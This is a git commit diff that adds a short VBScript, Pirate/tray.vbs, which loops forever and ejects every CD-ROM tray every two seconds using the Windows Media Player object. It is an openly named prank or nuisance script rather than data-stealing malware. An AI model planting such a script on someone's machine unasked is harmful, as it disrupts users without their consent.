diff options
| author | rafa_99 <raroma09@gmail.com> | 2021-09-23 16:40:24 +0100 |
|---|---|---|
| committer | rafa_99 <raroma09@gmail.com> | 2021-09-23 16:40:24 +0100 |
| commit | 6c2e76026c0fe6211c171c36d5b5aff523b989b1 (patch) | |
| tree | 9749a52a77ae910c7e949e83e498fbee8fb9b5e3 /Pirate/tray.vbs | |
| parent | b29bf8c1c7b03f86926b0d876caf31a111eefe22 (diff) | |
Diffstat (limited to 'Pirate/tray.vbs')
| -rwxr-xr-x | Pirate/tray.vbs | 13 |
1 files changed, 13 insertions, 0 deletions
diff --git a/Pirate/tray.vbs b/Pirate/tray.vbs new file mode 100755 index 0000000..3ce1b30 --- /dev/null +++ b/Pirate/tray.vbs @@ -0,0 +1,13 @@ +Set oWMP = CreateObject("WMPlayer.OCX.7")
+Set colCDROMs = oWMP.cdromCollection
+do
+if colCDROMs.Count >= 1 then
+For i = 0 to colCDROMs.Count -1
+colCDROMs.Item(i).Eject
+Next
+For i = 0 to colCDROMs.Count -1
+colCDROMs.Item(i).Eject
+Next
+End If
+wscript.sleep 2000
+loop
\ No newline at end of file |